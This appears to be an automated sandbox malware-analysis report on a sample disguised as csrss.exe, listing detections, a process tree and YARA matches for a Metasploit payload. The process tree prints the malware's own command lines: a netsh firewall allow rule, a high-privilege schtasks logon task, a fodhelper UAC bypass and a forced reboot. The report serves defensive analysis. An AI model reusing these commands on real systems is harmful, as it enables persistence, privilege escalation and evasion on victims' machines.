Play interactive tour

Edit tour

Windows Analysis Report csrss.exe

Overview

General Information

Sample Name:	csrss.exe
Analysis ID:	530163
MD5:	ee7331757219f7a223712025f3fc70be
SHA1:	fed5e55c386accf9a62a9a31311cce505d312099
SHA256:	0fa22938832ad3770336afdb1b3fe2f848582fe3d282f08727a7174b42c8b79f
Tags:	exe
Infos:
Most interesting Screenshot:

Detection

Metasploit

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected Metasploit Payload

Multi AV Scanner detection for submitted file

Detected unpacking (overwrites its own PE header)

Sigma detected: Schedule system process

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Creates an autostart registry key pointing to binary in C:\Windows

Sigma detected: System File Execution Location Anomaly

Uses netsh to modify the Windows network and firewall settings

Found Tor onion address

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses shutdown.exe to shutdown or reboot the system

Machine Learning detection for sample

Creates files in the system32 config directory

May modify the system service descriptor table (often done to hook functions)

Machine Learning detection for dropped file

Modifies the windows firewall

Performs DNS TXT record lookups

Drops executables to the windows directory (C:\Windows) and starts them

Sigma detected: Bypass UAC via Fodhelper.exe

Uses schtasks.exe or at.exe to add and modify task schedules

Drops PE files with benign system names

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Antivirus or Machine Learning detection for unpacked file

One or more processes crash

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Creates files inside the system directory

PE file contains sections with non-standard names

Sample execution stops while process was sleeping (likely an evasion)

Found dropped PE file which has not been started or loaded

Downloads executable code via HTTP

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Is looking for software installed on the system

Drops files with a non-matching file extension (content does not match file extension)

PE file does not import any functions

Sample file is different than original file name gathered from version info

PE file contains an invalid checksum

Drops PE files

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

Contains capabilities to detect virtual machines

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Sigma detected: Netsh Port or Application Allowed

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

csrss.exe (PID: 6132 cmdline: "C:\Users\user\Desktop\csrss.exe" MD5: EE7331757219F7A223712025F3FC70BE)

csrss.exe (PID: 1240 cmdline: C:\Users\user\Desktop\csrss.exe MD5: EE7331757219F7A223712025F3FC70BE)

cmd.exe (PID: 5696 cmdline: C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 7144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

netsh.exe (PID: 6124 cmdline: netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes MD5: 98CC37BBF363A38834253E22C80A8F32)

csrss.exe (PID: 1864 cmdline: C:\Windows\rss\csrss.exe "" MD5: EE7331757219F7A223712025F3FC70BE)

schtasks.exe (PID: 5140 cmdline: schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F MD5: 838D346D1D28F00783B7A6C6BD03A0DA)

conhost.exe (PID: 4200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 5988 cmdline: schtasks /delete /tn ScheduledUpdate /f MD5: 838D346D1D28F00783B7A6C6BD03A0DA)

conhost.exe (PID: 5936 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

mountvol.exe (PID: 6232 cmdline: mountvol B: /s MD5: 5C11B99E6D41403031CD946255E8A353)

conhost.exe (PID: 6404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

mountvol.exe (PID: 5816 cmdline: mountvol B: /d MD5: 5C11B99E6D41403031CD946255E8A353)

conhost.exe (PID: 3228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

mountvol.exe (PID: 6720 cmdline: mountvol B: /s MD5: 5C11B99E6D41403031CD946255E8A353)

conhost.exe (PID: 6372 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

mountvol.exe (PID: 6904 cmdline: mountvol B: /d MD5: 5C11B99E6D41403031CD946255E8A353)

conhost.exe (PID: 5976 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

shutdown.exe (PID: 6312 cmdline: shutdown -r -t 5 MD5: E2EB9CC0FE26E28406FB6F82F8E81B26)

conhost.exe (PID: 6652 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

WerFault.exe (PID: 5664 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1240 -s 828 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 6476 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6132 -s 928 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

TrustedInstaller.exe (PID: 6236 cmdline: C:\Windows\servicing\TrustedInstaller.exe MD5: 4578046C54A954C917BB393B70BA0AEB)

svchost.exe (PID: 1952 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

WerFault.exe (PID: 6396 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6132 -ip 6132 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 7136 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 1240 -ip 1240 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 2316 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 2060 -ip 2060 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 488 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 5892 -ip 5892 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

svchost.exe (PID: 5340 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

csrss.exe (PID: 2060 cmdline: "C:\Windows\rss\csrss.exe" MD5: EE7331757219F7A223712025F3FC70BE)

cmd.exe (PID: 6268 cmdline: C:\Windows\Sysnative\cmd.exe /C fodhelper MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 5160 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

fodhelper.exe (PID: 6124 cmdline: fodhelper MD5: 1D1F9E564472A9698F1BE3F9FEB9864B)

fodhelper.exe (PID: 5868 cmdline: "C:\Windows\system32\fodhelper.exe" MD5: 1D1F9E564472A9698F1BE3F9FEB9864B)

fodhelper.exe (PID: 5616 cmdline: "C:\Windows\system32\fodhelper.exe" MD5: 1D1F9E564472A9698F1BE3F9FEB9864B)

csrss.exe (PID: 1744 cmdline: "C:\Windows\rss\csrss.exe" MD5: EE7331757219F7A223712025F3FC70BE)

WerFault.exe (PID: 6696 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2060 -s 704 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

csrss.exe (PID: 5892 cmdline: C:\Windows\rss\csrss.exe MD5: EE7331757219F7A223712025F3FC70BE)

csrss.exe (PID: 6276 cmdline: C:\Windows\rss\csrss.exe MD5: EE7331757219F7A223712025F3FC70BE)

WerFault.exe (PID: 4700 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5892 -s 676 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

csrss.exe (PID: 3120 cmdline: "C:\Windows\rss\csrss.exe" MD5: EE7331757219F7A223712025F3FC70BE)

cmd.exe (PID: 6956 cmdline: C:\Windows\Sysnative\cmd.exe /C fodhelper MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6112 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

fodhelper.exe (PID: 6256 cmdline: fodhelper MD5: 1D1F9E564472A9698F1BE3F9FEB9864B)

fodhelper.exe (PID: 1400 cmdline: "C:\Windows\system32\fodhelper.exe" MD5: 1D1F9E564472A9698F1BE3F9FEB9864B)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000002.00000003.338272938.000000000518A000.00000004.00000001.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000012.00000003.385976066.000000000518A000.00000004.00000001.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
0000000B.00000003.363550452.000000000518A000.00000004.00000001.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000000.00000003.319177342.000000000518A000.00000004.00000001.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000013.00000003.402884568.000000000518A000.00000004.00000001.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000029.00000002.430632595.0000000000400000.00000040.00020000.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000013.00000002.446579915.0000000004500000.00000040.00000001.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
0000001B.00000003.402674453.000000000518A000.00000004.00000001.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000013.00000002.427738761.0000000000400000.00000040.00020000.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000029.00000003.424595054.000000000518A000.00000004.00000001.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000029.00000002.438199758.0000000004500000.00000040.00000001.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
0000001B.00000002.425815440.0000000000400000.00000040.00020000.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
0000002C.00000003.445299173.000000000518A000.00000004.00000001.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
0000002C.00000002.449242939.0000000000400000.00000040.00020000.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
0000002C.00000002.454322198.0000000004500000.00000040.00000001.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
0000000B.00000002.573428133.0000000000400000.00000040.00020000.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000012.00000002.427208507.0000000004500000.00000040.00000001.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
0000001B.00000002.433700277.0000000004500000.00000040.00000001.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000012.00000002.413315697.0000000000400000.00000040.00020000.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
0000000B.00000002.577731053.0000000004500000.00000040.00000001.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
Click to see the 19 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
41.2.csrss.exe.4aaa8d0.9.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
0.2.csrss.exe.9a56e0.3.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
19.2.csrss.exe.9a56e0.3.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
11.2.csrss.exe.9ab080.0.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
27.3.csrss.exe.5359a80.3.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
11.3.csrss.exe.53540e0.3.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
2.3.csrss.exe.535bce0.1.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3c8b8:$s2: The Magic Word! 0x489f8:$s2: The Magic Word! 0x3cc18:$s3: Software\Oracle\VirtualBox 0x3c8a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
44.3.csrss.exe.5359a80.1.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
18.2.csrss.exe.4aa4f30.11.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
27.3.csrss.exe.53540e0.2.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
18.3.csrss.exe.535bce0.3.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3c8b8:$s2: The Magic Word! 0x489f8:$s2: The Magic Word! 0x3cc18:$s3: Software\Oracle\VirtualBox 0x3c8a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
11.2.csrss.exe.4aaa8d0.11.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
18.2.csrss.exe.9ad2e0.0.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3c8b8:$s2: The Magic Word! 0x489f8:$s2: The Magic Word! 0x3cc18:$s3: Software\Oracle\VirtualBox 0x3c8a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
41.2.csrss.exe.4aa4f30.11.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
2.2.csrss.exe.9a56e0.2.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
44.2.csrss.exe.9ab080.2.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
27.3.csrss.exe.535bce0.1.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3c8b8:$s2: The Magic Word! 0x489f8:$s2: The Magic Word! 0x3cc18:$s3: Software\Oracle\VirtualBox 0x3c8a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
11.3.csrss.exe.5359a80.2.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
41.2.csrss.exe.9a56e0.2.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
18.2.csrss.exe.9a56e0.2.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
44.3.csrss.exe.53540e0.2.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
27.2.csrss.exe.9ab080.0.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
27.2.csrss.exe.4aa4f30.10.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
41.3.csrss.exe.53540e0.2.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
41.2.csrss.exe.400000.0.raw.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
44.2.csrss.exe.4aaa8d0.9.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
11.2.csrss.exe.400000.2.raw.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
19.2.csrss.exe.9ad2e0.1.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3c8b8:$s2: The Magic Word! 0x489f8:$s2: The Magic Word! 0x3cc18:$s3: Software\Oracle\VirtualBox 0x3c8a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
11.2.csrss.exe.9a56e0.1.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
44.3.csrss.exe.535bce0.3.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3c8b8:$s2: The Magic Word! 0x489f8:$s2: The Magic Word! 0x3cc18:$s3: Software\Oracle\VirtualBox 0x3c8a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
27.2.csrss.exe.4aaa8d0.9.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
27.2.csrss.exe.9a56e0.3.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
2.2.csrss.exe.4aaa8d0.10.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
41.3.csrss.exe.535bce0.1.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3c8b8:$s2: The Magic Word! 0x489f8:$s2: The Magic Word! 0x3cc18:$s3: Software\Oracle\VirtualBox 0x3c8a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
2.2.csrss.exe.4500e50.11.raw.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
18.3.csrss.exe.53540e0.1.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
2.2.csrss.exe.9ad2e0.0.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3c8b8:$s2: The Magic Word! 0x489f8:$s2: The Magic Word! 0x3cc18:$s3: Software\Oracle\VirtualBox 0x3c8a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
27.2.csrss.exe.400000.2.raw.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
2.2.csrss.exe.4aa4f30.9.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
41.3.csrss.exe.5359a80.3.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
44.2.csrss.exe.4500e50.11.raw.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
0.3.csrss.exe.53540e0.3.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
0.2.csrss.exe.400000.1.raw.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
0.2.csrss.exe.4aa4f30.9.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
44.2.csrss.exe.9ad2e0.0.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3c8b8:$s2: The Magic Word! 0x489f8:$s2: The Magic Word! 0x3cc18:$s3: Software\Oracle\VirtualBox 0x3c8a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
2.2.csrss.exe.400000.3.raw.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
0.2.csrss.exe.4aaa8d0.10.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
19.2.csrss.exe.4aa4f30.10.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
11.2.csrss.exe.4aa4f30.10.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
18.2.csrss.exe.400000.3.raw.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
44.2.csrss.exe.4aa4f30.10.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
44.3.csrss.exe.4db0000.0.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
44.2.csrss.exe.400000.1.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
19.2.csrss.exe.4aaa8d0.11.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
41.2.csrss.exe.9ad2e0.3.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3c8b8:$s2: The Magic Word! 0x489f8:$s2: The Magic Word! 0x3cc18:$s3: Software\Oracle\VirtualBox 0x3c8a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
44.2.csrss.exe.4500e50.11.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
